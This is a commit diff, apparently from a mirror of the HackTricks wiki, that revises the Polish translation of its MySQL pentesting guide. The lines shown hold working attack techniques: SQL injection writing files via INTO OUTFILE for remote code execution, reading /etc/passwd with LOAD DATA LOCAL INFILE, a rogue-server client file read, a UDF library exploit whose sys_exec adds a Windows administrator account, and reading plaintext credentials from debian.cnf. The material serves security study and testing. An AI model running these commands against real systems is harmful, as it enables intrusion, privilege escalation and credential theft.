mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to pl
This commit is contained in:
parent
cd49252664
commit
d022c469af
@ -1,15 +1,10 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
**MySQL** można opisać jako otwartoźródłowy **System Zarządzania Relacyjnymi Bazami Danych (RDBMS)**, który jest dostępny bezpłatnie. Działa na **Języku Zapytania Strukturalnego (SQL)**, umożliwiając zarządzanie i manipulację bazami danych.
|
||||
**MySQL** można opisać jako otwarte źródło **Systemu Zarządzania Relacyjnymi Bazami Danych (RDBMS)**, który jest dostępny bezpłatnie. Działa na **Języku Zapytania Strukturalnego (SQL)**, umożliwiając zarządzanie i manipulację bazami danych.
|
||||
|
||||
**Domyślny port:** 3306
|
||||
```
|
||||
@ -133,7 +128,7 @@ Przykład tworzenia pliku za pomocą zapytania **UNION** (znaki spacji zastąpio
|
||||
Ważne ograniczenia i obejścia:
|
||||
|
||||
* `INTO OUTFILE` **nie może nadpisywać** istniejących plików; wybierz nową nazwę pliku.
|
||||
* Ścieżka do pliku jest rozwiązywana **względem CWD MySQL**, więc dodanie `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek absolutnych.
|
||||
* Ścieżka do pliku jest rozwiązywana **względem CWD MySQL**, więc dodanie `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek bezwzględnych.
|
||||
* Jeśli dane wejściowe atakującego są wyciągane za pomocą `%128s` (lub podobnego), każda spacja skróci ładunek; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/`, aby zastąpić spacje.
|
||||
* Użytkownik MySQL wykonujący zapytanie potrzebuje uprawnienia `FILE`, ale w wielu urządzeniach (np. FortiWeb) usługa działa jako **root**, co daje dostęp do zapisu niemal wszędzie.
|
||||
|
||||
@ -153,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
## MySQL dowolne odczytywanie pliku przez klienta
|
||||
|
||||
W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o jego odczyt** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytywać dowolne pliki.**\
|
||||
W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o jego odczyt** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytać dowolne pliki.**\
|
||||
Zauważ, że takie jest zachowanie przy użyciu:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -189,7 +184,7 @@ W konfiguracji usług MySQL stosuje się różne ustawienia do określenia jej d
|
||||
- Ustawienie **`user`** jest wykorzystywane do wyznaczenia użytkownika, pod którym będzie uruchamiana usługa MySQL.
|
||||
- **`password`** jest stosowane do ustalenia hasła powiązanego z użytkownikiem MySQL.
|
||||
- **`admin_address`** określa adres IP, który nasłuchuje połączeń TCP/IP na administracyjnym interfejsie sieciowym.
|
||||
- Zmienna **`debug`** wskazuje na obecne konfiguracje debugowania, w tym wrażliwe informacje w logach.
|
||||
- Zmienna **`debug`** wskazuje na bieżące konfiguracje debugowania, w tym wrażliwe informacje w logach.
|
||||
- **`sql_warnings`** zarządza tym, czy generowane są ciągi informacyjne dla pojedynczych instrukcji INSERT, gdy pojawiają się ostrzeżenia, zawierające wrażliwe dane w logach.
|
||||
- Dzięki **`secure_file_priv`** zakres operacji importu i eksportu danych jest ograniczony w celu zwiększenia bezpieczeństwa.
|
||||
|
||||
@ -211,11 +206,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### Podwyższanie uprawnień za pomocą biblioteki
|
||||
### Eskalacja uprawnień za pomocą biblioteki
|
||||
|
||||
Jeśli **serwer mysql działa jako root** (lub inny bardziej uprzywilejowany użytkownik), możesz sprawić, że wykona on polecenia. W tym celu musisz użyć **funkcji zdefiniowanych przez użytkownika**. Aby stworzyć funkcję zdefiniowaną przez użytkownika, będziesz potrzebować **biblioteki** dla systemu operacyjnego, na którym działa mysql.
|
||||
|
||||
Złośliwą bibliotekę, której należy użyć, można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to **biblioteki linux**, a **`.dll`** to **biblioteki Windows**, wybierz tę, której potrzebujesz.
|
||||
Złośliwą bibliotekę, której należy użyć, można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to **biblioteki linux**, a **`.dll`** to te dla **Windows**, wybierz tę, której potrzebujesz.
|
||||
|
||||
Jeśli **nie masz** tych bibliotek, możesz albo **ich poszukać**, albo pobrać ten [**kod C dla linux**](https://www.exploit-db.com/exploits/1518) i **skompilować go na podatnej maszynie linux**:
|
||||
```bash
|
||||
@ -256,9 +251,9 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
### Wyciąganie poświadczeń MySQL z plików
|
||||
### Wyodrębnianie poświadczeń MySQL z plików
|
||||
|
||||
W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w postaci czystego tekstu** użytkownika **debian-sys-maint**
|
||||
W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w formacie tekstowym** użytkownika **debian-sys-maint**
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
|
Loading…
x
Reference in New Issue
Block a user